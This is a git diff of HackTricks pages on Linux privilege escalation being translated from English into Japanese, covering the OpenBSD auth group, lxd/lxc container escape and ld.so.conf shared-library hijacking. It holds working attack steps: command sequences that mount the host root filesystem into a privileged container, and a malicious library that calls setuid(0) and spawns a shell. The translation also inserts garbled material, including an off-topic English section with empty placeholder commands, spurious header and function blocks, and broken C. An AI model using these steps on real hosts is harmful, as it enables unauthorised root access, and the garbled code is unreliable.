+OpenBSDでは、**auth**グループは通常、使用されている場合に_**/etc/skey**_と_**/var/db/yubikey**_のフォルダに書き込むことができます。これらの権限は、次のエクスプロイトを使用して特権をエスカレーションするために悪用される可能性があります:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 95e35dbda..a8b1986ca 100644 --- a/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,25 +1,24 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxcグループ - 特権昇格
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +もし _**lxd**_ **または** _**lxc**_ **グループに所属している場合、rootになることができます** -## Exploiting without internet +## インターネットなしでの攻撃 -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### 方法1 +このディストロビルダーをマシンにインストールすることができます: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(githubの指示に従ってください): ```bash sudo su #Install requirements @@ -37,42 +36,86 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ``` +次に、脆弱なサーバーに **lxd.tar.xz** と **rootfs.squashfs** のファイルをアップロードします。 -Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs** - -Add the image: - +イメージを追加します: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` +# LXD Privilege Escalation -Create a container and add root path +## Introduction +This document explains a privilege escalation technique in LXD, a container hypervisor for Linux systems. By exploiting misconfigurations in LXD, an attacker can gain root privileges within a container and potentially escalate their privileges on the host system. + +## Prerequisites + +To perform this attack, you need the following: + +- Access to a Linux system with LXD installed. +- Basic knowledge of Linux command-line interface (CLI) and LXD commands. + +## Attack Scenario + +1. **Create a Container**: First, create a new container using the LXD command-line tool. Specify the desired Linux distribution and version for the container. + + ```bash + lxc launch + ``` + +2. **Add Root Path**: Once the container is created, add the root path to the container's configuration. This will allow the container to access the host system's root filesystem. + + ```bash + lxc config device add root disk source=/ path=/ + ``` + + This command adds a new device named "root" to the container's configuration, with the source set to the host system's root filesystem ("/") and the path set to the root directory ("/") within the container. + +3. **Start the Container**: Start the container to apply the changes made to its configuration. + + ```bash + lxc start + ``` + +4. **Access the Container**: Once the container is running, access its shell using the LXD command-line tool. + + ```bash + lxc exec -- /bin/bash + ``` + +5. **Privilege Escalation**: Within the container's shell, execute commands to escalate privileges and gain root access. This can be achieved by exploiting vulnerabilities or misconfigurations within the container or the host system. + +## Mitigation + +To prevent privilege escalation attacks in LXD, follow these best practices: + +- Regularly update LXD and the host system to ensure that security patches are applied. +- Limit the privileges of LXD containers by using appropriate Linux user namespaces and resource restrictions. +- Avoid adding the root path to containers unless absolutely necessary, and carefully review the security implications before doing so. +- Implement strong access controls and monitor container activity for any suspicious behavior. + +By following these guidelines, you can reduce the risk of privilege escalation attacks in LXD containers. ```bash lxc init alpine privesc -c security.privileged=true lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - {% hint style="danger" %} -If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -Run **`lxd init`** and **repeat** the previous chunk of commands +もしエラーが発生した場合 _**エラー: ストレージプールが見つかりません。新しいストレージプールを作成してください**_\ +**`lxd init`** を実行し、前のコマンドのチャンクを**繰り返して**ください {% endhint %} -Execute the container: - +コンテナを実行します: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` +### 方法2 -### Method 2 - -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +Alpineイメージをビルドし、フラグ`security.privileged=true`を使用して起動します。これにより、コンテナがホストのファイルシステムとしてrootとして対話するように強制されます。 ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -83,7 +126,7 @@ sudo ./build-alpine -a i686 # import the image lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail. -# before running the image, start and configure the lxd storage pool as default +# before running the image, start and configure the lxd storage pool as default lxd init # run the image @@ -96,22 +139,19 @@ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursiv lxc start mycontainer lxc exec mycontainer /bin/sh ``` - Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root) -## With internet - -You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). +## インターネットを使用する場合 +[こちらの手順](https://reboare.github.io/lxd/lxd-escape.html)に従うことができます。 ```bash lxc init ubuntu:16.04 test -c security.privileged=true -lxc config device add test whatever disk source=/ path=/mnt/root recursive=true +lxc config device add test whatever disk source=/ path=/mnt/root recursive=true lxc start test lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` - -## Other Refs +## その他の参考資料 {% embed url="https://reboare.github.io/lxd/lxd-escape.html" %} @@ -119,10 +159,10 @@ lxc exec test bash ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/privilege-escalation/ld.so.conf-example.md b/linux-hardening/privilege-escalation/ld.so.conf-example.md index 087e14314..6687b3810 100644 --- a/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -1,20 +1,20 @@ -# ld.so privesc exploit example +# ld.so特権昇格のエクスプロイト例
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Prepare the environment +## 環境の準備 -In the following section you can find the code of the files we are going to use to prepare the environment +次のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます。 {% tabs %} {% tab title="sharedvuln.c" %} @@ -23,65 +23,78 @@ In the following section you can find the code of the files we are going to use #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` -{% endtab %} - {% tab title="libcustom.h" %} + +```c +#ifndef LIBCUSTOM_H +#define LIBCUSTOM_H + +void custom_function(); + +#endif +``` + +{% endtab %} ```c #include void vuln_func(); ``` -{% endtab %} - {% tab title="libcustom.c" %} + +```c +#include + +void custom_function() { + printf("This is a custom function\n"); +} +``` + +このファイルは、`custom_function`という名前のカスタム関数を含んでいます。 ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` +{% tabs %} +{% tab title="Japanese" %} +1. 同じフォルダにこれらのファイルを**作成**します +2. **ライブラリ**を**コンパイル**します: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. `libcustom.so`を`/usr/lib`に**コピー**します: `sudo cp libcustom.so /usr/lib` (root権限) +4. **実行可能ファイル**を**コンパイル**します: `gcc sharedvuln.c -o sharedvuln -lcustom` + +### 環境を確認する + +_libcustom.so_が_/usr/lib_から**ロード**されていること、およびバイナリを**実行**できることを確認します。 {% endtab %} {% endtabs %} - -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` - -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. - ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) - -$ ./sharedvuln +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) + +$ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +このシナリオでは、**誰かが`/etc/ld.so.conf/`内のファイルに脆弱なエントリを作成した**と仮定します。 ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +脆弱なフォルダは_/home/ubuntu/lib_です(書き込みアクセスがあります)。\ +次のコードをそのパス内に**ダウンロードしてコンパイル**してください: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -90,89 +103,80 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +いま、誤構成されたパス内に**悪意のあるlibcustomライブラリを作成**したので、**再起動**またはrootユーザーが**`ldconfig`**を実行するのを待つ必要があります(_sudoでこのバイナリを実行できるか、またはsuidビットがある場合は自分で実行できます_)。 -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +これが起こった後、`sharevuln`実行ファイルが`libcustom.so`ライブラリをどこからロードしているかを**再確認**してください: ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +次に示すように、**`/home/ubuntu/lib`から読み込んでいます**。ユーザーが実行すると、シェルが実行されます。 ```c -$ ./sharedvuln +$ ./sharedvuln Welcome to my amazing application! I'm the bad library $ whoami ubuntu ``` - {% hint style="info" %} -Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +この例では特権を昇格させていませんが、実行されるコマンドを変更し、**rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つ**ことで特権を昇格させることができます。 {% endhint %} -### Other misconfigurations - Same vuln +### 他の設定ミス - 同じ脆弱性 -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +前の例では、管理者が`/etc/ld.so.conf.d/`内の設定ファイルに**特権のないフォルダを設定**したという設定ミスを偽装しました。\ +しかし、`/etc/ld.so.conf.d`内のいくつかの**設定ファイル**、`/etc/ld.so.conf.d`フォルダ、または`/etc/ld.so.conf`ファイルに**書き込み権限**がある場合、同じ脆弱性が発生する他の設定ミスがあります。 ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": - +**`ldconfig`に対してsudo特権を持っているとします**。\ +`ldconfig`に**どこからconfファイルをロードするか**を指定できるため、`ldconfig`が任意のフォルダをロードするように利用することができます。\ +では、"/tmp"をロードするために必要なファイルとフォルダを作成しましょう。 ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +次に、**前のエクスプロイト**で示されたように、**`/tmp`内に悪意のあるライブラリを作成**します。\ +そして最後に、パスをロードしてバイナリがライブラリをどこからロードしているかを確認しましょう。 ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**sudo権限を持つことで、同じ脆弱性を悪用することができます。** {% hint style="info" %} -I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied` +`ldconfig`が**suidビット**で設定されている場合、この脆弱性を悪用する信頼性のある方法は見つかりませんでした。次のエラーが表示されます:`/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied` {% endhint %} -## References +## 参考文献 * [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html) * [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2) -* Dab machine in HTB +* HTBのDabマシン
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md index e7c57dd25..e7d0e503a 100644 --- a/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,25 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 -A linux machine can also be present inside an Active Directory environment. +Linuxマシンは、Active Directory環境内に存在する場合もあります。 -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +AD内のLinuxマシンでは、**さまざまなCCACHEチケットがファイル内に保存されている可能性があります。これらのチケットは、他のKerberosチケットと同様に使用および悪用することができます**。これらのチケットを読むには、チケットの所有者であるユーザーまたは**マシン内のroot**である必要があります。 -## Enumeration +## 列挙 -### AD enumeration from linux +### LinuxからのAD列挙 -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. +Linux(またはWindowsのbash)でADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。 -You can also check the following page to learn **other ways to enumerate AD from linux**: +LinuxからADを列挙する**他の方法**については、次のページをチェックしてください: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -30,28 +30,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Learn more about it in: +これは、主に**Unix**環境の統合管理ソリューションとして使用される、Microsoft Windows **Active** **Directory**のオープンソースの**代替**です。詳細については、次のページを参照してください: {% content-ref url="../freeipa-pentesting.md" %} [freeipa-pentesting.md](../freeipa-pentesting.md) {% endcontent-ref %} -## Playing with tickets +## チケットの操作 -### Pass The Ticket +### パス・ザ・チケット -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: 